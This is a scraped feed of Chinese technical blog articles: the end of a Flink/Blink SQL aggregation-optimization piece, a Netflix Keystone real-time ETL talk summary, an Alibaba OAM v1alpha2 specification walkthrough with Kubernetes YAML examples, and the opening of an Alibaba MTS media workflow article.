        使用 Local/Global 优化后,会转化为下面的操作,会在本地先进行聚合,然后再进行 Shuffle 操作,整个 Shuffle 的数据剩下 6 条。在 Stream 模式下,Blink 其实会以 mini-batch 的维度对结果进行预聚合,然后将结果发送给 Global Agg 进行汇总。

        图11.png
        图 11 示例 7 经过 Local/Global 优化的 Count 操作

        2. Distinct Agg 优化

        Distinct Agg 进行优化,主要是对 SQL 语句进行改写,达到优化的目的。但 Batch 模式和 Stream 模式解决的问题是不同的:

        • Batch 模式下的 Distinct Agg,需要先做 Distinct,再做 Agg,逻辑上需要两步才能实现,直接实现 Distinct Agg 开销太大。
        • Stream 模式下,主要是解决热点问题,因为 Stream 需要将所有的输入数据放在 State 里面,如果数据有热点,State 操作会很频繁,这将影响性能。

        Batch 模式

        第一层,求 distinct 的值和非 distinct agg function 的值,第二层求 distinct agg function 的值

        示例 8

        select color, count(distinct id), count(*) from t group by color 

        手工改写成:

        select color, count(id), min(cnt) from (
           select color, id, count(*) filter (where $e=2) as cnt from (       
              select color, id, 1 as $e from t --for distinct id 
              union all
              select color, null as id, 2 as $e from t -- for count(*) 
          ) group by color, id, $e 
        ) group by color 

        转化的逻辑过程,如下图所示:

        图12.png
        图 12 示例 8 Batch 模式 Distinct 改写逻辑

        Stream 模式

        Stream 模式的启用有一些必要条件:

        • 必须是支持的 agg function:avg/count/min/max/sum/first_value/concat_agg/single_value;
        • table.optimizer.distinct-agg.split.enabled(默认关闭)

        示例 9

        select color, count(distinct id), count(*) from t group by color 

        手工改写成:

        select color, sum(dcnt), sum(cnt) from (
          select color, count(distinct id) as dcnt, count(*) as cnt from t 
          group by color, mod(hash_code(id), 1024)
        ) group by color

        改写前,逻辑图大概如下:

        图13.png
        图 13 示例 9 Stream 模式未优化 Distinct

        改写后,逻辑图就会变为下面这样,热点数据被打散到多个中间节点上。

        图14.jpg
        图14 示例 9 Stream 模式优化 Distinct

        需要注意的是,示例 5 的 SQL 中 mod(hash_code(id),1024)中的这个 1024 为打散的维度,这个值建议设置大一些,设置太小产生的效果可能不好。

        总结

        本文首先对新的 TableEnvironment 的整体设计进行了介绍,并且列举了各种模式下TableEnvironment 的选择,然后通过具体的示例,展示了各种模式下代码的写法,以及需要注意的事项。

        在新的 Catalog 和 DDL 部分,对 Catalog 的整体设计、DDL 的使用部分也都以实例进行拆分讲解。最后,对 Blink Planner 解析 SQL/Table API 的流程、Blink Planner 的改进以及优化的原理进行了讲解,希望对大家探索和使用 Flink SQL 有所帮助。

        ]]>
        Netflix:如何打造开放协作的实时 ETL 平台? Fri, 02 May 2025 09:39:04 +0800 摘要:本文由 Netflix 高级软件工程师徐振中分享,内容包含有趣的案例、分布式系统基础方面的各种挑战以及解决方案,此外还讨论了其在开发运维过程中的收获,对开放式自助式实时数据平台的一些新愿景,以及对 Realtime ETL 基础平台的一些新思考。文章内容主要分为以下三部分:

        1. 产品背景
        2. 产品功能
        3. 挑战&解决方案

        Netflix 致力于会员的喜悦。我们不懈地专注于提高产品体验和高质量内容。近年来,我们一直在技术驱动的 Studio 和内容制作方面进行大量投资。在这个过程中,我们发现在实时数据平台的领域里中出现了许多独特并有意思的挑战。例如,在微服务架构中,领域对象分布在不同的 App 及其有状态存储中,这使得低延迟高一致性的实时报告和实体搜索发现特别具有挑战性。

        产品背景

        Netflix 的长久愿景是把欢乐和微笑带给整个世界,通过在全球各地拍摄一些高质量、多元化的内容产品放在平台上,分享给平台超过一个亿级别的用户。更远大的目标为了给用户带来愉悦的体验,Netflix 的努力方向分为两个:

        1. 一方面是通过数据整合知识来反馈并用于提高用户的产品体验中去;
        2. 另一方面通过建立一个技术驱动的 Studio 去帮助产出内容质量更高的产品。

        而作为一个数据平台团队,需要关注的是怎么帮助公司中不同的开发人员、数据分析人员等实现其在公司中的价值,最终为解决上述两方面问题做出自己的贡献。

        640.png

        简单地介绍一下 Netflix 数据平台团队及相应的产品,Keystone。它的主要功能是帮助公司在所有的微服务中埋点、建立 Agent、发布事件、收集事件信息,然后放到不同的数据仓库中进行存储,比如 Hive 或 ElasticSearch,最后帮助用户在数据实时存储的情况下实现计算和分析。

        • 用户的角度来讲,Keystone 是一个完整的自容(Self-contained)的平台,支持多用户,用户可以通过所提供的 UI 很方便地声明并创建自己想要的 pipeline。
        • 平台角度来说,Keystone 提供底层所有分布式系统中实现比较困难的解决方案,如容器编排(Container Orchestration)、工作流管理(Workflow Management)等等,这些对于用户是不可见的。
        • 产品的角度来说,主要有两个功能,一个是帮助用户将数据从边缘设备移到数仓,另一个是帮助用户实时计算的功能。
        • 数字的角度来说,Keystone 在 Netflix 的使用是非常有必要的,只要跟数据打交道的开发者,一定会用到,因此 Keystone 在整个公司中有几千个用户,并有一百个 Kafka 的集群支持每天 10PB 数量级左右的数据。

        Keystone 的整个架构分为两层,底层是 Kafka 和 Flink 作为底层引擎,底层对所有分布式系统中比较困难的技术方案进行抽象,对用户不可见,在上层构建整个应用;服务层会提供抽象的服务,UI 对于用户来讲比较简单,不需要关心底层实现。

        下面介绍一下 Keystone 产品在过去四五年的发展历程。最初的动机是收集所有设备的数据并将其存储到数据仓库中,当时使用的是 Kafka 技术,因为数据移动比较好解决,本质上来讲仅是一个多并发的问题。

        在此之后,用户给出了新的需求,即在数据移动的过程中对数据进行一些简单的处理操作,比如筛选(Filter),还有一个很通用的功能 —— projection,为此 Keystone 推出了针对该需求推出了相应的功能特性。

        经过一段时间后,用户表示想做更加复杂的 ETL,比如 Streaming Join 等,因此产品决定将底层的 API 提供给用户,并将底层的关于所有分布式系统的解决方案抽象化,让其更好地关注上层的内容。

        ## 产品功能

        产品功能介绍将围绕 Netflix 中的两个“超级英雄” Elliot 和 Charlie 来展开。Elliot 是来自数据科学工程组织的一个数据科学家,他的需求是在非常大的数据中寻找响应的 pattern,以帮助提高用户体验;Charlie 是一个来自 Studio 组织的应用开发者,其目标是通过开发一系列的应用来帮助周边的其他开发者产出更高质量的产品。

        这两个人的工作对于产品来讲都非常重要,Elliot 的数据分析结果可以帮助给出更好的推荐和个性化定制,最终提高用户体验;而 Charlie 的工作可以帮助周边的开发者提高效率。

        Recommendation & Personalization

        640 1.png

        Elliot 作为一个数据科学家,需要的是一个简单易用的实时 ETL 操作平台,他不希望写非常复杂的编码,同时需要保证整个 pipeline 的低延时。他所从事的工作和相关需求主要有以下几个:

        640 3.png

        • 推荐和个性化定制。该工作中可以根据个人特点的不同将同样的视频通过不同的形式推送给相应的用户,视频可以分为多个 row,每一个 row 可以是不同的分类,根据个人的喜好可以对不同的 row 进行更改。此外,每一个视频的题目都会有一个 artwork,不同国家、不同地域的不同用户对 artwork 的喜好也可能不同,也会通过算法进行计算并定制适合用户的 artwork。

        640 4.png

        • A/B Testing。Netflix 提供给非会员用户 28 天免费的视频观看机会,同时也相信给用户看到了适合自己的视频,用户更有可能会购买 Netflix 的服务,而在进行A/B Testing 的时候,就需要 28 天才能做完。对于 Elliot 来讲,进行 A/B Testing 的时候可能会犯错误,他所关心的是怎么样才能在不用等到 28 天结束的时候就可以提前发现问题。

        当在设备上观看 Netflix 的时候,会以请求的形式和网关进行交互,然后网关会将这些请求分发给后端的微服务,比如说用户在设备上点击播放、暂停、快进、快退等操作,这些会有不同的微服务进行处理,因此需要将相应的数据收集起来,进一步处理。

        对于 Keystone 平台团队来讲,需要收集不同的微服务中产生的数据并进行存储。Elliot 需要将不同的数据整合起来,以解决他关注的问题。

        640 5.jpg

        至于为什么要使用流处理,主要有四方面的考量,即实时报告、实时告警、机器学习模型的快速训练以及资源效率。相比于前两点,机器学习模型的快速训练以及资源效率对 Elliot 的工作更加重要。尤其需要强调的是资源效率,针对前面的 28 天的 A/B Testing,目前的做法是每天将数据与前 27 天做 Batch Processing,这个过程中涉及了很多重复处理,使用流处理可以很好地帮助提高整体的效率。

        640 6.png

        Keystone 会提供命令行的工具给用户,用户只需要在命令行中输入相应的命令来进行操作,工具最开始会询问用户一些简单的问题,如需要使用什么 repository 等,用户给出相应的回答后,会最终产生一个模板,用户便可以开始使用工具进行开发工作;产品还提供一系列简单的 SDK,目前支持的是Hive、Iceberg、Kafka 和 ElasticSearch 等。

        需要强调的是 Iceberg,它是在 Netflix 主导的一个 Table Format,未来计划取代 Hive。其提供了很多特色功能来帮助用户做优化;Keystone 向用户提供了简单的 API,可以帮助其直接生成 Source 和 Sink。

        Elliot 在完成一系列的工作之后,可以选择将自己的代码提交到 repository 中,后台会自动启动一个 CI/CD pipeline,将所有的源代码和制品等包装在 Docker 镜像中,保证所有的版本一致性。Elliot 在 UI 处只需要选择想要部署哪一个版本,然后点击部署按钮可以将 jar 部署到生产环境中。

        产品会在后台帮助其解决底层分布式系统比较困难的问题,比如怎么做容器编排等,目前是基于资源的编排,未来计划向 K8S 方向发展。部署 Job(作业)包的过程中会部署一个 JobManager 的集群和一个 TaskManager 的集群,因此每一个 Job 对于用户来说是完全独立的。

        产品提供默认的配置选项,同时也支持用户在平台 UI 上修改并覆盖配置信息,直接选择部署即可生效,而不需重写代码。Elliot 之前有一个需求是在 Stream Processing 的过程中,比如从不同的 Topic 中去读取数据,出现问题的情况下可能需要在 Kafka 中操作,也可能需要在数据仓库中操作,面对该问题,其需求是在不改动代码的情况下切换不同的 Source,而目前平台提供的UI很方便地完成该需求。此外平台还可以帮助用户在部署的时候选择需要多少资源来运行作业。

        很多用户从 Batch Processing 转到 Stream Processing 的过程中,已经有了很多需要的制品,比如 Schema 等,因此平台还帮助其简单地实现这些制品的集成。

        640 7.jpg

        平台拥有很多需要在其之上写 ETL 工程的用户,当用户越来越多的时候,平台的可伸缩性显得尤为重要。为此,平台采用了一系列的 pattern 来解决该问题。具体来讲,主要有三个 pattern 正在使用,即 Extractor Pattern、Join Pattern 和 Enrichment Pattern。

        Content Production

        先简要介绍一下什么是 Content Production。包括预测在视频制作方面的花费、制定 program、达成 deal、制作视频、视频后期处理、发布视频以及金融报告。

        640 8.png

        Charlie 所在的是 Studio 部门主要负责开发一系列的应用来帮助支持 Content Production。每一个应用都是基于微服务架构来开发部署的,每一个微服务应用会有自己的职责。举个最简单的例子,会有专门管理电影标题的微服务应用,也会有专门管理 deals 和 contracts 的微服务应用等等。

        面对如此多的微服务应用,Charlie 面临的挑战问题是当其在进行实时搜索的过程中,比如搜索某一个电影的演员,需要将数据从不同的地方 join 起来;另外数据每天都在增加,保证实时更新的数据的一致性比较困难,这本质上是分布式微服务系统的特点导致,不同的微服务选择使用的数据库可能不同,这给数据一致性的保证又增加了一定的复杂度。针对该问题,常用的解决方案有以下三个:

        • Dual writes: 当开发者知道数据需要放到主要的数据库中的时候,同时也要放到另一个数据库中,可以很简单地选择分两次写入到数据库中,但是这种操作是不容错的,一旦发生错误,很有可能会导致数据的不一致;
        • Change Data Table: 需要数据库支持事务的概念,不管对数据库做什么操作,相应的变更会加到事务变更的 statement 中并存入单独的表中,之后可以查询该 change 表并获取相应的变更情况并同步到其他数据表;
        • Distributed Transaction:指的是分布式事务,在多数据环境中实现起来比较复杂。

        Charlie 的一个需求是将所有的电影从 Movie Datastore 复制到一个以 Elasticsearch 来支持的 movie search index 中,主要通过一个 Polling System 来做数据拉取和复制,数据一致性的保证采用的是上述的 Change data table 的方法。

        该方案的弊端是只支持定期数据拉取,另外 Polling System 和数据源直接紧密结合,一旦 Movie Search Datastore 的 Schema 改变,Polling System 就需要修改。为此,该架构在后来做了一次改进,引入了事件驱动的机制,读取数据库中所有实现的事务,通过 stream processing 的方式传递到下一个 job 进行处理。为了普适化该解决方案,在 source 端实现了不同数据库的 CDC(Change Data Capture)支持,包括 MySQL、PostgreSQL 和 Cassandra 等在 Netflix 中比较常用的数据库,通过 Keystone 的 pipeline 进行处理。

        挑战及解决方案

        下面分享一下上述方案存在的挑战和相应的解决方案:

        640 9.png

        • Ordering Semantics

        在变更数据事件中,必须要保证 Event ordering,比如一个事件包含 create、update 和 delete 是三个操作,需要返回给消费者侧一个严格遵守该顺序的操作事件。一个解决方案是通过 Kafka 来控制;另一个解决方案是在分布式系统中保证捕获的事件与实际从数据库中读取数据的顺序是一致的,该方案中当所有的变更事件捕获出来后,会存在重复和乱序的情况,会通过 Flink 进行去重和重新排序。

        640 10.png

        • Processing Contracts

        在写 stream processing 的时候,很多情况下不知道 Schema 的具体信息,因此需要在消息上定义一个契约 contract,包括 Wire Format 以及在不同的层级上定义与Schema 相关的信息,如基础设施(Infrastructure)、平台(Platform)等。Processor Contract 的目的是帮助用户将不同的 processor metadata 组合起来,尽量减少其写重复代码的可能。

        举一个具体的案例,比如 Charlie 希望有新的 deal 的时候被及时通知,平台通过将相关的不同组件组合起来,DB Connector、Filter 等,通过用户定义契约的方式帮助其实现一个开放的可组合的流数据平台。

        以往所看到的 ETL 工程大多数适用于数据工程师或数据科学家。但从经验上来讲,ETL 的整个过程,即 Extract、Transform 和 Load,其实是有被更广泛应用的可能。最早的 Keystone 简单易用,但灵活性不高,之后的发展过程中虽然提高了灵活性,但复杂性也相应地增大了。因此未来团队计划在目前的基础上进一步优化,推出开放的、合作的、可组合的、可配置的 ETL 工程平台,帮助用户在极短的时间解决问题。

        作者简介:

        徐振中,Netflix 软件工程师,在 Netflix 从事高度可扩展和弹性的流媒体数据平台的基础设施工作,热衷于研究分享与实时数据系统、分布式系统基本原理相关的任何有趣的事情!

        ]]>
        OAM v1alpha2 新版:平衡标准与可扩展性 Fri, 02 May 2025 09:39:04 +0800 0.png

        作者 | 孙健波(天元)阿里云技术专家

        导读:OAM Spec 经历了近 3 个月的迭代,v1alpha2 版本终于发布啦!新版本在坚持 OAM Spec 平台无关的基础上,整体变得更 Kubernetes 友好化,很大程度上平衡了标准与可扩展性,更好的支持 CRD。如果你已经编写了现成的 CRD Operator,可以平滑的接入到 OAM 体系中,并且享受到 OAM 模型的红利。

        目前 OAM 已经成为了包括阿里、微软、Upbond、谐云等多家公司构建云产品的核心架构。他们通过 OAM 构建了“以应用为中心”、用户友好化的 Kubernetes PaaS;充分发挥 OAM 的标准化与可扩展性,实现 OAM 核心 Controller 的同时,快速接入了已有的 Operator 能力;通过 OAM 横向打通多个模块,破除了原有 Operator 彼此孤立、无法复用的窘境。

        下面言归正传,让我们来看一下 v1alpha2 到底做了哪些改动?

        主要改动说明

        为了方便大家阅读,这里只罗列了最主要的改动点,一些细节还是以上游 OAM Spec Github 仓库为准。

        术语说明

        • CRD(Custom Resource Definition):在 OAM 中说的 CRD 是一种泛指的自定义资源描述定义。在 K8s 的 OAM 实现中可以完全对应 K8s 的 CRD,在非 K8s 的实现中,OAM 的 CRD 需要包含 APIVersion/Kind 并且能够描述字段进行校验;
        • CR (Custom Resource),OAM 中的 CR 是 CRD 的一个实例,是符合 CRD 中字段格式定义的一个资源描述。在 K8s 的 OAM 实现中可以完全对应 K8s 的 CR,在 非 K8s 的实现中,可以需要对齐 APIVersion/Kind  和字段格式定义。

        主要改动 1 使用 Reference 模型定义 Workload、Trait 和 Scope

         v1alpha1 原先的方式是这样的:

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: WorkloadType
        metadata:
          name: OpenFaaS
          annotations:
            version: v1.0.0
            description: "OpenFaaS a Workload which can serve workload running as functions"
        spec:
          group: openfaas.com
          version: v1alpha2
          names:
            kind: Function
            singular: function
            plural: functions
          workloadSettings: |
            {
              "$schema": "http://json-schema.org/draft-07/schema#",
              "type": "object",
              "required": [
                "name", "image"
              ],
              "properties": {
                "name": {
                  "type": "string",
                  "description": "the name to the function"
                },
                "image": {
                  "type": "string",
                  "description": "the docker image of the function"
                }
              }
            }

        在原先的模式中,group/version/kind 分别是字段,spec 的校验通过 jsonschema 表示,整体的格式实际上类似 CRD,但不完全一致。

        新版 v1alpha2 中彻底改为了引用模型,通过 WorkloadDefinition  TraitDefinition  ScopeDefinition 的形式,描述了一个引用关系。可以直接引用一个 CRD,name 就是 CRD 的名称。对于非 K8s 的 OAM 实现来说,这里的名字则是一个索引,可以找到类似 CRD 的校验文件,校验文件中包含 apiVersion 和 kind,以及相应的 schema 校验。

        • Workload
        apiVersion: core.oam.dev/v1alpha2
        kind: WorkloadDefinition
        metadata:
          name: containerisedworkload.core.oam.dev
        spec:
          definitionRef:
            # Name of CRD. 
            name: containerisedworkload.core.oam.dev
        • Trait
        apiVersion: core.oam.dev/v1alpha2
        kind: TraitDefinition
        metadata:
          name: manualscalertrait.core.oam.dev
        spec:
          appliesToWorkloads:
            - containerizedworkload.core.oam.dev
          definitionRef:
            name: manualscalertrait.core.oam.dev
        • Scope
        apiVersion: core.oam.dev/v1alpha2
        kind: ScopeDefinition
        metadata:
          name: networkscope.core.oam.dev
        spec:
          allowComponentOverlap: true
          definitionRef:
            name: networkscope.core.oam.dev

        注意:

        1.  这里对于 K8s 的 OAM 实现来说,name 就是 K8s 里面 CRD 的 name,由 <plural-kind>.<group> 组成。社区的最佳实践是一个 CRD 只有一个 version 在集群中运行,一般新 version 都会向前兼容,升级时都一次性替换到最新 version。如果确实有 2 个 version 同时存在的场景,用户也可以通过 kubectl get crd <name> 的方式进一步选择;
        1. Definition 这一层不面向 end user,主要给平台实现使用,对于非 K8s 实现来说,如果存在多个 version 的场景,OAM 的实现平台可以给终端用户展示不同 version 的选择。

        主要改动 2 直接嵌入 K8s CR 作为 Component 和 Trait 实例

        原先的方式在 Workload 和 Trait 层面我们都只把 CR 的 spec 部分拿出来,分别放在 workloadSettingsproperties 字段里。

        这样的方式虽然已经可以“推导”出 K8s CR,但是不利于 K8s 生态内的 CRD 接入,需要换种格式重新定义一遍 spec。

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ComponentSchematic
        metadata:
          name: rediscluster
        spec:
          workloadType: cache.crossplane.io/v1alpha1.RedisCluster
          workloadSettings:
            engineVersion: 1.0
            region: cn
        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ApplicationConfiguration
        metadata:
          name: custom-single-app
          annotations:
            version: v1.0.0
            description: "Customized version of single-app"
        spec:
          variables:
          components:
            - componentName: frontend
              instanceName: web-front-end
              parameterValues:
              traits:
                - name: manual-scaler
                  properties:
                    replicaCount: 5

        现在的方式则直接嵌入 CR,可以看到,在 workloadtrait 字段下面是完整的 CR 描述。

        apiVersion: core.oam.dev/v1alpha2
        kind: Component
        metadata:
          name: example-server
        spec:
          prameters:
            - name: xxx
              fieldPaths: 
                - "spec.osType"
          workload:
            apiVersion: core.oam.dev/v1alpha2
            kind: Server
            spec:
              osType: linux
              containers:
              - name: my-cool-server
                image:
                  name: example/very-cool-server:1.0.0
                ports:
                - name: http
                  value: 8080
                env:
                - name: CACHE_SECRET
        apiVersion: core.oam.dev/v1alpha2
        kind: ApplicationConfiguration
        metadata:
          name: cool-example
        spec:
          components:
          - componentName: example-server
            traits:
            - trait:
                apiVersion: core.oam.dev/v1alpha2
                kind: ManualScalerTrait
                spec:
                  replicaCount: 3

        这样的好处很明显:

        1. 可以很容易的对接现有 K8s 体系里的 CRD,甚至包括 K8s 原生的 Deployment (作为自定义 workload 接入)等资源;
        2. K8s CR 层面的字段定义是成熟的,解析和校验也完全交由 CRD 体系。

        这里大家注意到 traits 下面是 []trait{CR} 而不是 []CR  的结构,多了一层看似无用的 trait 字段,主要由如下 2 个原因:

        • 为后续在 trait 这个维度做扩展留下空间,比如可能的编排( ordering ) 等。
        • 非 K8s 体系在这一层可以不严格按照 CR 的写法来,完全自定义,不绑定 K8s 描述格式。

        主要改动 3 参数传递使用 jsonPath 替换原先的 fromParam

        研发能够留出字段给运维覆盖,一直是 OAM 很重要的功能。

        体现在 OAM Spec 的流程上就是:研发在 Component 里面定义 parameter,运维在 AppConfig 里面通过 parameterValue 去覆盖对应的参数。

        最初的参数传递,是在每个字段后面有个 fromParam  字段,对于支持了自定义 schema 后,这样的方式显然是无法覆盖所有场景的:

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ComponentSchematic
        metadata:
          name: rediscluster
        spec:
          workloadType: cache.crossplane.io/v1alpha1.RedisCluster
          parameters:
          - name: engineVersion
            type: string
          workloadSettings:
            - name: engineVersion
              type: string
              fromParam: engineVersion

        后来我们曾经提议过这样的方案:

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ComponentSchematic
        metadata:
          name: rediscluster
        spec:
          workloadType: cache.crossplane.io/v1alpha1.RedisCluster
          parameters:
          - name: engineVersion
            type: string
          workloadSettings:
            engineVersion: "[fromParam(engineVersion)]"

        这个方案最大的问题是 静态的 IaD (Infrastructure as Data) 里面加入了动态的函数,给理解和使用带来了复杂性。

        经过多方面的讨论,在新方案里我们通过 JsonPath 的形式描述要注入的参数位置,在用户理解上保证了 AppConfig 是静态的。

        apiVersion: core.oam.dev/v1alpha2
        kind: Component
        metadata:
          name: example-server
        spec:
          workload:
            apiVersion: core.oam.dev/v1alpha2
            kind: Server
            spec:
              containers:
              - name: my-cool-server
                image:
                  name: example/very-cool-server:1.0.0
                ports:
                - name: http
                  value: 8080
                env:
                - name: CACHE_SECRET
                  value: cache
          parameters:
          - name: instanceName
            required: true
            fieldPaths:
            - ".metadata.name"
          - name: cacheSecret
            required: true
            fieldPaths:
            - ".workload.spec.containers[0].env[0].value"

        fieldPaths 是个数组,每个元素定义了参数和对应 Workload 里的字段。

        apiVersion: core.oam.dev/v1alpha2
        kind: ApplicationConfiguration
        metadata:
          name: my-app-deployment
        spec:
          components:
            - componentName: example-server
              parameterValues:
                - name: cacheSecret
                  value: new-cache

        在 AppConfig 中还是走 parameterValues 去覆盖 Component 中的 parameter。

        主要改动 4 ComponentSchematic 名称改为 Component

        原先组件这个概念叫 ComponentSchematic,这样命名的主要原因是里面混了一些语法描述和选择,比如针对 Core Workload( container)和针对扩展 Workload ( workloadSettings ),写法上不一样的,container 里是定义具体的参数,workloadSettings 更像是 schema(参数怎么填的说明)。v1alpha1 版本的 WorkloadSetting 还融入了 type/description之类的,更显得模棱两可。

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ComponentSchematic
        metadata:
          name: rediscluster
        spec:
          containers:
             ...
          workloadSettings:
            - name: engineVersion
              type: string
              description: engine version
              fromParam: engineVersion
             ...

        在 v1alpha2 版本中,组件这个概念改为 Component,明确为 Workload 的实例,所有语法定义都是在WorkloadDefinition 中引用的实际 CRD 定义的。

        在 K8s 实现中,WorkloadDefinition 就是引用 CRD ,Component.spec.workload 里就是写 CRD 对应的实例 CR。

        apiVersion: core.oam.dev/v1alpha2
        kind: Component
        metadata:
          name: example-server
        spec:
          workload:
            apiVersion: core.oam.dev/v1alpha2
            kind: Server
            spec:
           ...

        主要改动 5 Scope 由 CR 单独创建,不再由 AppConfig 创建

        v1alpha1 中的 Scope 是由 AppConfig 创建的,从例子中可以看出,本质上它也是个 CR,可以“推导”创建出 CR来。但是由于 Scope 的定位是可以容纳不同 AppConfig 中的 Component,且 Scope 本身并非一个 App,所以使用 AppConfig 创建 Scope 一直是不太合适的。

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ApplicationConfiguration
        metadata:
          name: my-vpc-network
        spec:
          variables:
            - name: networkName
              value: "my-vpc"
          scopes:
            - name: network
              type: core.oam.dev/v1alpha1.Network
              properties:
                network-id: "[fromVariable(networkName)]"
                subnet-ids: "my-subnet1, my-subnet2"

        v1alpha2 新版本全面使用 CR 来对应实例,为了让 Scope 的概念更清晰,更方便对应不同类型的 Scope,将 Scope 拿出来直接由 ScopeDefinition 定义的 CRD 对应的 CR 创建。例子如下所示:

        apiVersion: core.oam.dev/v1alpha2
        kind: ScopeDefinition
        metadata:
          name: networkscope.core.oam.dev
        spec:
          allowComponentOverlap: true
          definitionRef:
            name: networkscope.core.oam.dev
        apiVersion: core.oam.dev/v1alpha2
        kind: NetworkScope
        metadata:
          name: example-vpc-network
          labels:
            region: us-west
            environment: production
        spec:
          networkId: cool-vpc-network
          subnetIds:
          - cool-subnetwork
          - cooler-subnetwork
          - coolest-subnetwork
          internetGatewayType: nat

        在 AppConfig 中使用 scope 引用如下所示:

        apiVersion: core.oam.dev/v1alpha2
        kind: ApplicationConfiguration
        metadata:
          name: custom-single-app
          annotations:
            version: v1.0.0
            description: "Customized version of single-app"
        spec:
          components:
            - componentName: frontend
              scopes:
                - scopeRef:
                    apiVersion: core.oam.dev/v1alpha2
                    kind: NetworkScope
                    name: my-vpc-network
            - componentName: backend
              scopes:
                - scopeRef:
                    apiVersion: core.oam.dev/v1alpha2
                    kind: NetworkScope
                    name: my-vpc-network

        主要改动 6 移除 Variable 列表和 [fromVariable()] 动态函数

        v1alpha1 版本中有 Variable 是为了 AppConfig 里开源引用一些公共变量减少冗余,所以加入了 Variable 列表。但实践来看,减少的冗余并没有明显减少 OAM spec 的复杂性,相反,增加动态的函数显著增加了复杂性。

        另一方面,fromVariable 这样的能力完全可以通过 helm template/ kustomiz 等工具来做,由这些工具渲染出完整的 OAM spec,再进行使用。

        所以这里 variables 列表和相关的 fromVariable 均去掉,并不影响任何功能。

        // 老版本,仅对比使用
        apiVersion: core.oam.dev/v1alpha1
        kind: ApplicationConfiguration
        metadata:
          name: my-app-deployment
        spec:
          variables:
            - name: VAR_NAME
              value: SUPPLIED_VALUE
          components:
            - componentName: my-web-app-component
              instanceName: my-app-frontent
              parameterValues:
                - name: ANOTHER_PARAMETER
                  value: "[fromVariable(VAR_NAME)]"
              traits:
                - name: ingress
                  properties:
                    DATA: "[fromVariable(VAR_NAME)]"

        主要改动 7 用 ContainerizedWorkload 替代原来的六种核心 Workload

        因为现在已经统一用 WorkloadDefinition 定义 Workload,Component 变成了实例,所以原先的六种核心Workload 实际上都变成了同一个 WorkloadDefinition,字段描述完全一样,唯一的不同是对 trait 约束和诉求不一样。因此原先的六种核心 Workload 的 spec,统一修改为一种名为 ContainerizedWorkload 的 Workload 类型。

        同时,这里计划要通过增加 policy 这样的概念,来让研发表达对运维策略的诉求,即 Component 中可以表达希望增加哪些 trait。

        apiVersion: core.oam.dev/v1alpha2
        kind: WorkloadDefinition
        metadata:
          name: containerizedworkloads.core.oam.dev
        spec:
          definitionRef:
            name: containerizedworkloads.core.oam.dev

        一个使用 ContainerizedWorkload 示例:

        apiVersion: core.oam.dev/v1alpha2
        kind: Component
        metadata:
          name: frontend
          annotations:
            version: v1.0.0
            description: "A simple webserver"
        spec:
          workload:
            apiVersion: core.oam.dev/v1alpha2
            kind: ContainerizedWorkload
            metadata:
              name: sample-workload
            spec:
              osType: linux
              containers:
              - name: web
                image: example/charybdis-single:latest@@sha256:verytrustworthyhash
                resources:
                  cpu:
                    required: 1.0
                  memory:
                    required: 100MB
                env:
                - name: MESSAGE
                  value: default
          parameters:
          - name: message
            description: The message to display in the web app.  
            required: true
            type: string
            fieldPaths:
            - ".spec.containers[0].env[0].value"

        下一步计划

        1. 应用级别的组件间参数传递和依赖关系(workflow);
        2. Policy 方案,便于研发在 Component 对 trait 提出诉求;
        3. Component 增加版本的概念,同时给出 OAM 解决应用版本发布相关方式

        常见 FAQ

        1. 我们原有平台改造为 OAM 模型实现需要做什么?

        对于原先是 K8s 上的应用管理平台,接入改造为 OAM 实现可以分为两个阶段:

        • 实现 OAM ApplicationConfiguration Controller(简称 AppConfig Controller),这个 Controller 同时包含 OAM 的 Component、WorkloadDefinition、TraitDefinition、ScopeDefinition 等 CRD。AppConfig Controller 根据 OAM AppConfig 中的描述,拉起原有平台的 CRD Operator;
        • 逐渐将原先的 CRD Operator 根据关注点分离的思想,分为 Workload 和 Trait。同时接入和复用 OAM 社区中更多的 Workload、Trait,丰富更多场景下的功能。

         

        1. 现有的 CRD Operator 为接入 OAM 需要做什么改变?

        现有的 CRD Operator** 功能上可以平滑接入 OAM 体系,比如作为一个独立扩展 Workload 接入。但是为了更好的让终端用户体会到 OAM 关注点分离的好处,我们强烈建议 CRD Operator 根据研发和运维不同的关注点分离为不同的 CRD,研发关注的 CRD 作为 Workload 接入 OAM,运维关注的 CRD 作为 Trait 接入 OAM。

        目前,OAM 规范和模型实际已解决许多现有问题,但它的路程才刚刚开始。OAM 是一个中立的开源项目,我们欢迎更多的人参与其中,共同定义云原生应用交付的未来。

        参与方式:

        • 钉钉扫码进入 OAM 项目中文讨论群

        1.png

        作者简介

        孙健波(花名:天元)阿里云技术专家,是 OAM 规范的主要制定者之一,致力于推动云原生应用标准化。同时也在阿里巴巴参与大规模云原生应用交付与应用管理相关工作。团队诚邀应用交付、Serverless、PaaS 领域的专家加入,欢迎联系  jianbo.sjb AT alibaba-inc.com

        招人啦!

        云原生应用平台诚邀 Kubernetes / Serverless / PaaS / 应用交付领域专家( P6-P8 )加盟:

        • 工作年限:建议 P6-7 三年起,P8 五年起,具体看实际能力;
        • 工作地点:国内(北京 / 杭州 / 深圳);海外(旧金山湾区 / 西雅图);
        • 岗位包含:架构师、技术专家、全栈工程师等。

        简历立刻回复,2~3 周出结果,简历投递:jianbo.sjb AT alibaba-inc.com。

        3 群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        媒体处理 MTS-工作流 Fri, 02 May 2025 09:39:04 +0800

        作者:张医博

        基础分析

        在使用媒体处理(MTS) 产品的工作流转码时,我们先补充基础认知。
        一句话概括,工作流就是一套模版在特定条件自动触发对视频进行处理的流程,那我们先要知道类型的视频文件支持工作流。

        • 视频:3gp, asf, avi, dat, dv, flv, f4v, gif, m2t, m3u8, m4v, mj2, mjpeg, mkv, mov, mp4, mpe, mpg, mpeg, mts, ogg, qt, rm, rmvb, swf, vob, wmv, webm。
        • 音频:aac, ac3, acm, amr, ape, caf, flac, m4a, mp3, ra, wav, wma, aiff。
